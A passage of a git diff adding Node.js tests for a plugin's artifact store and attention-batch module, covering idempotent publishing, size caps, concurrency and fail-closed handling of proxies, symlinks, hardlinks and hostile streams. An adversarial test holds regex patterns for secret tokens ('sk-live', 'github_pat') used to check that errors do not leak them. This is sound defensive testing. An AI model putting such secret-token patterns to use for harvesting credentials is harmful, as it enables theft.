assert.equal(batch.length, 2); + for (const verdict of batch) assert.equal(verdict.verified, true); + } finally { + removeRoot(root); + } +}); + +test('exact same validated ref plus bytes is idempotent; nothing else is', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const first = await store.publish(refFor(PAYLOAD), PAYLOAD); + const replay = await store.publish(refFor(PAYLOAD), PAYLOAD); + assert.equal(first.created, true); + assert.equal(replay.created, false); + assert.equal(first.ref_digest, replay.ref_digest); + assert.equal(replay.byte_length, first.byte_length); + assert.equal(replay.sha256, first.sha256); + // Conflicting content at the same location fails closed. + const other = Buffer.from('conflicting content'); + await errorOfAsync( + () => store.publish(refFor(other), other), + 'artifact_content_conflict', + ); + // Same digest with mismatched metadata fails closed. + await errorOfAsync( + () => store.publish(refFor(PAYLOAD, { media_type: 'application/json' }), PAYLOAD), + 'artifact_metadata_conflict', + ); + await errorOfAsync( + () => store.publish(refFor(PAYLOAD, { run_id: `${RUN_ID}-x` }), PAYLOAD), + 'artifact_metadata_conflict', + ); + // The authoritative artifact survived every conflict untouched. + assert.equal((await store.audit()).artifacts, 1); + assert.equal((await store.publish(refFor(PAYLOAD), PAYLOAD)).created, false); + } finally { + removeRoot(root); + } +}); + +test('raw and sanitized namespaces stay disjoint at one relative path', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const sharedPath = `runs/${RUN_ID}/shared/report.bin`; + const sanitized = Buffer.from('model-facing projection'); + const raw = Buffer.from('owner-only local evidence that never faces the model'); + const sanitizedRef = refFor(sanitized, { relative_path: sharedPath }); + const rawRef = refFor(raw, { relative_path: sharedPath, artifact_class: 'raw' }); + await store.publish(sanitizedRef, sanitized); + await store.publish(rawRef, raw); + const report = await store.audit(); + assert.equal(report.namespaces.sanitized.artifacts, 1); + assert.equal(report.namespaces.raw.artifacts, 1); + assert.deepEqual(report.entries.map((entry) => entry.artifact_class), ['raw', 'sanitized']); + assert.equal(await store.verifyArtifact(sanitizedRef).then((v) => v.verified), true); + assert.equal(await store.verifyArtifact(rawRef).then((v) => v.verified), true); + } finally { + removeRoot(root); + } +}); + +test('declared byte_length and sha256 are untrusted claims checked before publication', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const wrongLength = refFor(Buffer.from('0123456789'), {}); + await errorOfAsync( + () => store.publish({ ...wrongLength, byte_length: 11 }, Buffer.from('0123456789')), + 'artifact_length_mismatch', + ); + await errorOfAsync( + () => store.publish({ + ...wrongLength, sha256: 'bb'.repeat(32), + }, Buffer.from('0123456789')), + 'artifact_digest_mismatch', + ); + // Short and empty streams fail against their declared claims. + await errorOfAsync(() => store.publish(wrongLength, emptyStream()), 'artifact_length_mismatch'); + // Nothing was published and no temporary was left behind. + const report = await store.audit(); + assert.equal(report.artifacts, 0); + assert.equal(report.inventory_digest.length, 64); + await errorOfAsync( + () => store.verifyArtifact(wrongLength), + 'artifact_not_found', + ); + } finally { + removeRoot(root); + } +}); + +test('the class cap is enforced before over-allocation on streams and buffers alike', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + // Declaring above the class cap stays a P07 denial before any effect. + await errorOfAsync( + () => store.publish(refFor( + Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1), + { relative_path: `runs/${RUN_ID}/too-big.bin` }, + ), Buffer.alloc(1)), + 'out_of_range', + ); + // A declaration pinned exactly at the cap plus a source that outruns it + // hits the store's own streaming enforcement. + const atCap = refFor(PAYLOAD, { + relative_path: `runs/${RUN_ID}/at-cap.bin`, + byte_length: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + }); + await errorOfAsync( + () => publishArtifactV1(store, atCap, + Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1)), + 'artifact_stream_over_cap', + ); + // A hostile endless stream is stopped by the cap without unbounded work. + await errorOfAsync( + () => publishArtifactV1(store, atCap, (async function* () { + while (true) yield Buffer.alloc(4096, 0x61); + })()), + 'artifact_stream_over_cap', + ); + await errorOfAsync( + () => publishArtifactV1(store, atCap, endlessSource()), + 'artifact_stream_over_cap', + ); + // The raw namespace tolerates what sanitized cannot. + const beyondSanitized = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x64); + const rawReceipt = await store.publish( + refFor(beyondSanitized, { artifact_class: 'raw', relative_path: `runs/${RUN_ID}/wide.bin` }), + beyondSanitized, + ); + assert.equal(rawReceipt.namespace, 'raw'); + assert.equal((await store.audit()).namespaces.raw.bytes, beyondSanitized.length); + } finally { + removeRoot(root); + } +}); + +test('verification audits a bounded ordered batch and inherits P07 batch discipline', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const refs = []; + for (let index = 0; index < 4; index += 1) { + const bytes = Buffer.from(`artifact-${index}`); + const ref = refFor(bytes, { relative_path: `runs/${RUN_ID}/lane-${index}/a.patch` }); + await store.publish(ref, bytes); + refs.push(ref); + } + const forward = await store.verifyArtifacts(refs); + const backward = await store.verifyArtifacts([...refs].reverse()); + assert.deepEqual(JSON.stringify(forward), JSON.stringify(backward)); + // Duplicates are denied instead of collapsed (P07 vocabulary). + await errorOfAsync(() => store.verifyArtifacts([refs[0], refs[0]]), 'duplicate_artifact_ref'); + // Batches above the closed bound are denied before any verification. + const tooMany = Array.from({ length: 65 }, (_, index) => refFor( + Buffer.from([index]), { relative_path: `runs/${RUN_ID}/overflow/${index}.bin` }, + )); + await errorOfAsync(() => store.verifyArtifacts(tooMany), 'refs_exceeded'); + } finally { + removeRoot(root); + } +}); + +test('concurrent identical submissions compose into one winner plus idempotent losers', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const submissions = Array.from({ length: 8 }, () => + store.publish(refFor(PAYLOAD), PAYLOAD)); + const receipts = await Promise.all(submissions); + const created = receipts.filter((receipt) => receipt.created); + assert.equal(created.length, 1); + const digests = new Set(receipts.map((receipt) => receipt.ref_digest)); + assert.equal(digests.size, 1); + const report = await store.audit(); + assert.equal(report.artifacts, 1); + assert.equal(report.namespaces.sanitized.artifacts, 1); + } finally { + removeRoot(root); + } +}); + +test('concurrent conflicting submissions fail closed with one deterministic winner', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const winner = Buffer.from('the winning bytes'); + const loser = Buffer.from('the losing bytes!'); + const attempts = [ + ...Array.from({ length: 4 }, () => ({ ref: refFor(winner), source: winner })), + ...Array.from({ length: 4 }, () => ({ ref: refFor(loser), source: loser })), + ]; + const settled = await Promise.allSettled(attempts.map(({ ref, source }) => + store.publish(ref, source))); + const fulfilled = settled.filter((entry) => entry.status === 'fulfilled'); + const rejected = settled.filter((entry) => entry.status === 'rejected'); + assert.equal(fulfilled.length + rejected.length, attempts.length); + assert.equal(fulfilled.length >= 1, true); + for (const rejection of rejected) { + assert.ok(rejection.reason instanceof RunContractV1Error); + assert.equal(rejection.reason.code, 'artifact_content_conflict'); + } + const survivingDigests = new Set(fulfilled.map((entry) => entry.value.sha256)); + assert.equal(survivingDigests.size, 1); + const report = await store.audit(); + assert.equal(report.artifacts, 1); + assert.equal(report.entries[0].byte_length, + fulfilled[0].value.byte_length); + const survivingBytes = fulfilled[0].value.sha256 === digestOf(winner) ? winner : loser; + assert.equal(await store.verifyArtifact(refFor(survivingBytes)) + .then((verdict) => verdict.verified), true); + } finally { + removeRoot(root); + } +}); + +test('restart verification reproduces one stable inventory fingerprint', async () => { + const root = makeStoreRoot(); + try { + const first = await openArtifactStoreV1({ root }); + await first.publish(refFor(PAYLOAD), PAYLOAD); + await first.publish(refFor(SECOND, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/diff.patch`, + artifact_class: 'raw', + }), SECOND); + const before = await first.audit(); + assert.equal(before.artifacts, 2); + assert.equal(before.inventory_digest.length, 64); + + const reopened = await openArtifactStoreV1({ root }); + const after = await reopened.audit(); + assert.equal(after.inventory_digest, before.inventory_digest); + assert.deepEqual(after.namespaces, before.namespaces); + assert.deepEqual(JSON.stringify(after.entries), JSON.stringify(before.entries)); + + // Any meaningful stored change must move the fingerprint. + const third = Buffer.from('a third artifact'); + await reopened.publish(refFor(third, { + relative_path: `runs/${RUN_ID}/third/a.patch`, + }), third); + const changed = await reopened.audit(); + assert.notEqual(changed.inventory_digest, before.inventory_digest); + assert.equal(changed.artifacts, 3); + } finally { + removeRoot(root); + } +}); + +test('audits are sorted, bounded, and describe only content-free metadata', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + for (let index = 0; index < 3; index += 1) { + const bytes = Buffer.from(`audit-${index}`); + await store.publish(refFor(bytes, { + relative_path: `runs/${RUN_ID}/z-${2 - index}/a.patch`, + }), bytes); + } + const report = await store.audit(); + assert.equal(report.schema, ARTIFACT_STORE_SCHEMA_ID); + const paths = report.entries.map((entry) => entry.relative_path); + assert.deepEqual(paths, [...paths].sort()); + for (const entry of report.entries) { + assert.deepEqual(Object.keys(entry), [ + 'artifact_class', 'relative_path', 'byte_length', 'sha256', + ]); + } + const projected = JSON.stringify(report); + assert.equal(projected.includes(root), false); + } finally { + removeRoot(root); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-attention-batch-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-attention-batch-adversarial.test.mjs new file mode 100644 index 0000000..1057107 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-attention-batch-adversarial.test.mjs @@ -0,0 +1,422 @@ +// P34 AttentionBatchV1 adversarial coverage: hostile containers, CAS, shared +// P25 roots, symlink/hardlink, identity drift, oversized inputs, and +// content-free failures. + +import assert from 'node:assert/strict'; +import { chmod, link, mkdir, rm, symlink, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + ATTENTION_BATCH_FILE_NAME, + MAX_ATTENTION_ITEMS, + MAX_ATTENTION_PROMPT_BYTES, + MAX_ATTENTION_RESPONSE_BYTES, + openAttentionRoot, +} from '../mcp/v3/attention-batch.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createRunJournal } from '../mcp/v3/run-journal.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + makePrivateRoot as makeStoreRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; +import { + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + RUN_ID, + grokItem, + itemsAndSource, + makePrivateRoot, + makeReply, + trackingCancel, + trackingDeliver, +} from './fixtures/r1-attention-batch-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertContentFree(error) { + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /github_pat/u); + assert.doesNotMatch(error.message, /\/tmp\//u); +} + +async function withRoot(fn) { + const root = await makePrivateRoot('r1-p34-adv-'); + try { + const handle = await openAttentionRoot(root); + return await fn({ root, handle }); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('proxies, symbols, accessors, and own undefined fail closed without traps', async () => { + await withRoot(async ({ handle }) => { + const { items, source } = itemsAndSource([grokItem()]); + const { proxy, counts } = countingProxy({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const proxied = await errorOf(() => handle.latch(proxy)); + assert.equal(proxied.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const symbolic = { run_id: RUN_ID, source, items, expected_revision: 0 }; + Object.defineProperty(symbolic, Symbol('leak'), { value: HOSTILE_SECRET, enumerable: true }); + const symbolError = await errorOf(() => handle.latch(symbolic)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError); + + const accessor = { + run_id: RUN_ID, + source, + items, + expected_revision: 0, + }; + Object.defineProperty(accessor, 'cancel', { + enumerable: true, + get() { throw new Error(HOSTILE_SECRET); }, + }); + const accessorError = await errorOf(() => handle.latch(accessor)); + assert.equal(accessorError.code, 'accessor_property_denied'); + assertContentFree(accessorError); + + const undef = { run_id: RUN_ID, source, items, expected_revision: 0, now: undefined }; + const undefError = await errorOf(() => handle.latch(undef)); + assert.equal(undefError.code, 'own_undefined_denied'); + }); +}); + +test('unknown keys, extra item fields, and capability mismatches fail closed', async () => { + await withRoot(async ({ handle }) => { + const { items, source } = itemsAndSource([grokItem()]); + const unknown = await errorOf(() => handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, note: 'progress.tick', + })); + assert.equal(unknown.code, 'unknown_key'); + + const foreignItem = { ...items[0], child_progress_note: 'ask-the-user' }; + const extra = await errorOf(() => handle.latch({ + run_id: RUN_ID, source, items: [foreignItem], expected_revision: 0, + })); + assert.equal(extra.code, 'unknown_key'); + + const mismatched = grokItem(); + mismatched.reply_capability = 'unsupported'; + mismatched.question_digest = items[0].question_digest; + const cap = await errorOf(() => handle.latch({ + run_id: RUN_ID, + source, + items: [mismatched], + expected_revision: 0, + })); + assert.equal(cap.code, 'capability_reply_mismatch'); + }); +}); + +test('duplicate assignment ids, empty batches, and oversized prompts fail closed', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const { source } = itemsAndSource([grok]); + const duplicate = await errorOf(() => handle.latch({ + run_id: RUN_ID, + source, + items: [grok, grokItem()], + expected_revision: 0, + })); + assert.equal(duplicate.code, 'duplicate_assignment_id'); + + const empty = await errorOf(() => handle.latch({ + run_id: RUN_ID, source, items: [], expected_revision: 0, + })); + assert.equal(empty.code, 'out_of_range'); + + const nine = Array.from({ length: MAX_ATTENTION_ITEMS + 1 }, (_value, index) => grokItem({ + assignmentId: `assign-${index}`, + taskId: `task-${index}`, + sessionId: `sess-${index}`, + questionId: `q-${index}`, + eventCursor: String(index), + })); + const nineSource = itemsAndSource(nine).source; + const flood = await errorOf(() => handle.latch({ + run_id: RUN_ID, + source: nineSource, + items: nine, + expected_revision: 0, + })); + assert.equal(flood.code, 'out_of_range'); + + const huge = grokItem({ prompt: 'p'.repeat(MAX_ATTENTION_PROMPT_BYTES + 1) }); + const hugePair = itemsAndSource([huge]); + const prompt = await errorOf(() => handle.latch({ + run_id: RUN_ID, + source: hugePair.source, + items: hugePair.items, + expected_revision: 0, + })); + assert.equal(prompt.code, 'out_of_range'); + }); +}); + +test('expected_revision CAS rejects stale writers and expected_revision is mandatory', async () => { + await withRoot(async ({ handle }) => { + const { items, source } = itemsAndSource([grokItem()]); + await handle.latch({ run_id: RUN_ID, source, items, expected_revision: 0 }); + const batchId = (await handle.get(RUN_ID)).record.batch_id; + const stale = await errorOf(() => handle.reply({ + run_id: RUN_ID, + batch_id: batchId, + expected_revision: 0, + reply: makeReply(batchId, items), + deliver: trackingDeliver().deliver, + })); + assert.equal(stale.code, 'attention_batch_revision_conflict'); + + const missing = await errorOf(() => handle.latch({ + run_id: RUN_ID, source, items, + })); + assert.equal(missing.code, 'missing_key'); + }); +}); + +test('sharing a P25 journal root fails closed and writes nothing into it', async () => { + const storeRoot = await makeStoreRoot('r1-p34-share-store-'); + const journalRoot = await makeStoreRoot('r1-p34-share-journal-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: RUN_ID })); + const journal = await createRunJournal({ root: journalRoot, store, run_id: RUN_ID }); + await journal.append({ kind: 'run_opened', data: {} }); + const handle = await openAttentionRoot(journalRoot); + const { items, source } = itemsAndSource([grokItem()]); + const error = await errorOf(() => handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + })); + assert.equal(error.code, 'attention_batch_root_shared'); + const names = await (await import('node:fs/promises')).readdir(journal.directory); + assert.equal(names.includes(ATTENTION_BATCH_FILE_NAME), false); + assert.ok(names.includes('journal.jsonl')); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('symlink roots, hardlinked records, and group-writable directories fail closed', async () => { + const parent = await makePrivateRoot('r1-p34-link-'); + try { + const real = path.join(parent, 'real'); + await mkdir(real, { mode: 0o700 }); + await chmod(real, 0o700); + const linked = path.join(parent, 'link'); + await symlink(real, linked); + const sym = await errorOf(() => openAttentionRoot(linked)); + assert.equal(sym.code, 'attention_batch_root_unsafe'); + + const handle = await openAttentionRoot(real); + const { items, source } = itemsAndSource([grokItem()]); + await handle.latch({ run_id: RUN_ID, source, items, expected_revision: 0 }); + const recordPath = path.join(real, 'runs', RUN_ID, ATTENTION_BATCH_FILE_NAME); + const alias = path.join(parent, 'hardlink-outside.json'); + await link(recordPath, alias); + const hard = await errorOf(() => handle.get(RUN_ID)); + assert.equal(hard.code, 'attention_batch_not_regular'); + + const openRoot = await makePrivateRoot('r1-p34-mode-'); + try { + await chmod(openRoot, 0o770); + const mode = await errorOf(() => openAttentionRoot(openRoot)); + assert.equal(mode.code, 'attention_batch_root_unsafe'); + } finally { + await chmod(openRoot, 0o700).catch(() => {}); + await rm(openRoot, { recursive: true, force: true }); + } + } finally { + await rm(parent, { recursive: true, force: true }); + } +}); + +test('oversized replies, second-round mutation, and delivery identity drift fail closed', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const { items, source } = itemsAndSource([grok]); + const latched = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const huge = await errorOf(() => handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: 1, + reply: makeReply(latched.record.batch_id, [grok], 'x'.repeat(MAX_ATTENTION_RESPONSE_BYTES + 1)), + deliver: trackingDeliver().deliver, + })); + assert.equal(huge.code, 'out_of_range'); + + const driftingDeliver = async (identity) => ({ + outcome: 'delivered', + ...identity, + session_id: 'other-session', + }); + const drift = await errorOf(() => handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: 1, + reply: makeReply(latched.record.batch_id, [grok], 'allow_once'), + deliver: driftingDeliver, + })); + assert.equal(drift.code, 'attention_batch_identity_mismatch'); + const durable = await handle.get(RUN_ID); + assert.equal(durable.record.status, 'reply_committed'); + assert.equal(durable.record.reply.answers[0].response, 'allow_once'); + + const { deliver } = trackingDeliver(); + const second = await errorOf(() => handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: durable.record.revision, + reply: makeReply(latched.record.batch_id, [grok], 'allow_always'), + deliver, + })); + assert.equal(second.code, 'attention_batch_reply_conflict'); + }); +}); + +test('concurrent identical latches converge; concurrent different replies have one winner', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const { items, source } = itemsAndSource([grok]); + const results = await Promise.all(Array.from({ length: 8 }, () => handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }))); + const created = results.filter((result) => result.created); + assert.equal(created.length, 1); + for (const result of results) { + assert.equal(result.record.batch_id, created[0].record.batch_id); + assert.equal(result.record.revision, 1); + } + + const { deliver } = trackingDeliver(); + const { cancel } = trackingCancel(); + const settled = await Promise.allSettled([ + handle.reply({ + run_id: RUN_ID, + batch_id: created[0].record.batch_id, + expected_revision: 1, + reply: makeReply(created[0].record.batch_id, [grok], 'allow_once'), + deliver, + cancel, + }), + handle.reply({ + run_id: RUN_ID, + batch_id: created[0].record.batch_id, + expected_revision: 1, + reply: makeReply(created[0].record.batch_id, [grok], 'allow_always'), + deliver, + cancel, + }), + ]); + const wins = settled.filter((entry) => entry.status === 'fulfilled'); + const losses = settled.filter((entry) => entry.status === 'rejected'); + assert.equal(wins.length, 1); + assert.equal(losses.length, 1); + assert.ok(losses[0].reason instanceof RunContractV1Error); + assert.ok( + losses[0].reason.code === 'attention_batch_reply_conflict' + || losses[0].reason.code === 'attention_batch_revision_conflict', + ); + const final = await handle.get(RUN_ID); + assert.equal(final.record.reply.answers[0].response, wins[0].value.record.reply.answers[0].response); + }); +}); + +test('unconfirmed cancel records safe_cancel_unconfirmed and stays content-free', async () => { + await withRoot(async ({ handle }) => { + const dsh = (await import('./fixtures/r1-attention-batch-fixtures.mjs')).dshItem(); + const { items, source } = itemsAndSource([dsh]); + const { cancel } = trackingCancel('unconfirmed'); + const receipt = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, cancel, + }); + const codes = receipt.record.unresolved.map((entry) => entry.code); + assert.ok(codes.includes('same_session_reply_unsupported')); + assert.ok(codes.includes('safe_cancel_unconfirmed')); + assert.equal(receipt.complete_candidate_blocked, true); + assertContentFree(Object.assign(new Error(receipt.record.unresolved[0].code), { + message: receipt.record.unresolved[0].code, + })); + }); +}); + +test('expired deadline unresolved cancels only the affected lane', async () => { + await withRoot(async ({ handle }) => { + const live = grokItem({ deadlineAt: '2099-01-01T00:00:00.000Z' }); + const expired = grokItem({ + assignmentId: 'assign-late', + taskId: 'task-late', + sessionId: 'sess-late', + questionId: 'q-late', + eventCursor: '8', + deadlineAt: '2020-01-01T00:00:00.000Z', + }); + const { items, source } = itemsAndSource([live, expired]); + const { cancel, calls } = trackingCancel(); + const receipt = await handle.latch({ + run_id: RUN_ID, + source, + items, + expected_revision: 0, + cancel, + now: Date.parse('2021-01-01T00:00:00.000Z'), + }); + const byId = Object.fromEntries( + receipt.record.items.map((item) => [item.assignment_id, item]), + ); + assert.equal(byId[live.assignment_id].disposition, 'pending'); + assert.equal(byId[expired.assignment_id].disposition, 'unresolved'); + assert.equal(calls.length, 1); + assert.equal(calls[0].assignment_id, expired.assignment_id); + assert.ok(receipt.record.unresolved.some((entry) => entry.code === 'reply_deadline_expired')); + }); +}); + +test('foreign files, group-writable records, and secret-bearing errors stay content-free', async () => { + await withRoot(async ({ root, handle }) => { + const { items, source } = itemsAndSource([grokItem()]); + await handle.latch({ run_id: RUN_ID, source, items, expected_revision: 0 }); + await writeFile(path.join(root, 'runs', RUN_ID, 'journal.jsonl'), `${HOSTILE_SECRET}\n`); + const foreign = await errorOf(() => handle.get(RUN_ID)); + assert.equal(foreign.code, 'attention_batch_root_shared'); + assertContentFree(foreign); + }); + + await withRoot(async ({ handle }) => { + const missing = await errorOf(() => handle.get('run-missing-batch')); + assert.equal(missing.code, 'attention_batch_not_found'); + assertContentFree(missing); + + const { items, source } = itemsAndSource([grokItem()]); + const leak = await errorOf(() => handle.latch({ + run_id: RUN_ID, + source, + items, + expected_revision: 0, + note: HOSTILE_TOKEN, + })); + assert.equal(leak.code, 'unknown_key'); + assertContentFree(leak); + assert.equal(utilTypes.isProxy(handle), false); + assert.equal(HOSTILE_PATH.startsWith('/tmp/'), true); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-attention-batch.test.mjs b/plugins/codex-co-engineer/test/r1-attention-batch.test.mjs new file mode 100644 index 0000000..abe0c92 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-attention-batch.test.mjs @@ -0,0 +1,436 @@ +// P34 AttentionBatchV1 focused coverage: owner-only latch, one reply round, +// unsupported unresolved + affected-lane cancel, restart of exact identities, +// required-unresolved candidate blocking, and P25 isolation. + +import assert from 'node:assert/strict'; +import { readFile, readdir, rm } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ATTENTION_BATCH_DISPOSITIONS, + ATTENTION_BATCH_FILE_NAME, + ATTENTION_BATCH_ITEM_KEYS, + ATTENTION_BATCH_PROVIDERS, + ATTENTION_BATCH_RECORD_KEYS, + ATTENTION_BATCH_REPLY_CAPABILITIES, + ATTENTION_BATCH_SCHEMA_ID, + ATTENTION_BATCH_SOURCE_KEYS, + ATTENTION_BATCH_STATUSES, + ATTENTION_BATCH_TASK_CURSOR_KEYS, + ATTENTION_BATCH_UNRESOLVED_CODES, + ATTENTION_BATCH_VERSION, + describeAttentionBatchV1, + openAttentionRoot, +} from '../mcp/v3/attention-batch.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + RUN_JOURNAL_EVENT_KINDS, + RUN_JOURNAL_GENESIS_PREV as REDUCER_GENESIS, +} from '../mcp/v3/run-reducer.mjs'; +import { createRunJournal } from '../mcp/v3/run-journal.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { + makePrivateRoot as makeStoreRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_C, + RUN_ID, + RUN_JOURNAL_GENESIS_PREV, + batchIdFor, + cloudItem, + cursorLocalItem, + dshItem, + grokItem, + itemsAndSource, + makePrivateRoot, + makeReply, + trackingCancel, + trackingDeliver, +} from './fixtures/r1-attention-batch-fixtures.mjs'; + +const MODULE_PATH = fileURLToPath(new URL('../mcp/v3/attention-batch.mjs', import.meta.url)); +const REDUCER_PATH = fileURLToPath(new URL('../mcp/v3/run-reducer.mjs', import.meta.url)); +const JOURNAL_PATH = fileURLToPath(new URL('../mcp/v3/run-journal.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +async function withRoot(fn) { + const root = await makePrivateRoot(); + try { + const handle = await openAttentionRoot(root); + return await fn({ root, handle }); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('AttentionBatchV1 is the frozen v1 contract with exact record keys', () => { + assert.equal(ATTENTION_BATCH_SCHEMA_ID, 'codex-co-engineer.attention-batch.v1'); + assert.equal(ATTENTION_BATCH_VERSION, 1); + assert.deepEqual([...ATTENTION_BATCH_RECORD_KEYS], [ + 'schema', 'version', 'run_id', 'batch_id', 'revision', 'status', + 'source', 'items', 'reply', 'unresolved', + ]); + assert.deepEqual([...ATTENTION_BATCH_STATUSES], ['open', 'reply_committed', 'resolved']); + assert.deepEqual([...ATTENTION_BATCH_SOURCE_KEYS], [ + 'journal_revision', 'journal_head_hash', 'task_cursors', + ]); + assert.deepEqual([...ATTENTION_BATCH_TASK_CURSOR_KEYS], [ + 'assignment_id', 'task_id', 'event_cursor', + ]); + assert.deepEqual([...ATTENTION_BATCH_ITEM_KEYS], [ + 'assignment_id', 'task_id', 'provider', 'required', 'session_id', + 'question_id', 'event_cursor', 'question_digest', 'prompt', 'options', + 'reply_capability', 'disposition', 'deadline_at', + ]); + assert.deepEqual([...ATTENTION_BATCH_PROVIDERS], [ + 'grok', 'cursor-local', 'cursor-cloud', 'dsh', + ]); + assert.deepEqual([...ATTENTION_BATCH_REPLY_CAPABILITIES], ['same_session', 'unsupported']); + assert.deepEqual([...ATTENTION_BATCH_DISPOSITIONS], ['pending', 'answered', 'unresolved']); + assert.deepEqual([...ATTENTION_BATCH_UNRESOLVED_CODES], [ + 'same_session_reply_unsupported', + 'late_attention_after_latch', + 'reply_delivery_failed', + 'reply_deadline_expired', + 'safe_cancel_unconfirmed', + ]); + const inventory = describeAttentionBatchV1(); + assert.equal(inventory.wake, false); + assert.equal(inventory.remote_mutated, false); + assert.equal(inventory.bounds.reply_round, 1); + assert.deepEqual([...inventory.ownership.forbidden], [ + 'p25_event_kind_change', + 'question_encoding_in_child_progress_note', + 'foreign_p25_journal_files', + 'scheduler', + 'provider_dispatch', + 'candidate_composition', + 'server_tool_wiring', + 'cleanup_implementation', + 'gate_a', + 'release', + ]); + assertFrozenTree(inventory); +}); + +test('first latch publishes one immutable sorted question set at a P25 boundary', async () => { + await withRoot(async ({ root, handle }) => { + const grok = grokItem(); + const local = cursorLocalItem(); + const { items, source } = itemsAndSource([local, grok]); + const { cancel, calls } = trackingCancel(); + const receipt = await handle.latch({ + run_id: RUN_ID, + source, + items, + expected_revision: 0, + cancel, + }); + assert.equal(receipt.created, true); + assert.equal(receipt.wake, false); + assert.equal(receipt.remote_mutated, false); + assert.equal(receipt.complete_candidate_blocked, false); + assert.equal(receipt.record.schema, ATTENTION_BATCH_SCHEMA_ID); + assert.equal(receipt.record.version, 1); + assert.equal(receipt.record.run_id, RUN_ID); + assert.equal(receipt.record.revision, 1); + assert.equal(receipt.record.status, 'open'); + assert.equal(receipt.record.reply, null); + assert.deepEqual(receipt.record.items.map((item) => item.assignment_id), [ + ASSIGNMENT_A, local.assignment_id, + ]); + assert.equal(receipt.record.items[0].reply_capability, 'same_session'); + assert.equal(receipt.record.items[1].reply_capability, 'same_session'); + assert.equal(receipt.record.batch_id, batchIdFor(RUN_ID, source, items)); + assert.equal(calls.length, 0); + assertFrozenTree(receipt); + const stored = await readFile( + path.join(root, 'runs', RUN_ID, ATTENTION_BATCH_FILE_NAME), + ); + assert.match(stored.toString('utf8'), /\n$/u); + const names = await readdir(path.join(root, 'runs', RUN_ID)); + assert.deepEqual(names, [ATTENTION_BATCH_FILE_NAME]); + }); +}); + +test('identical latch replay is idempotent and does not grow revision', async () => { + await withRoot(async ({ handle }) => { + const { items, source } = itemsAndSource([grokItem()]); + const first = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const second = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + assert.equal(first.created, true); + assert.equal(second.created, false); + assert.equal(second.record.revision, 1); + assert.equal( + canonicalJsonStringify(first.record), + canonicalJsonStringify(second.record), + ); + }); +}); + +test('unsupported DSH and Cursor Cloud items become unresolved and cancel only those lanes', async () => { + await withRoot(async ({ 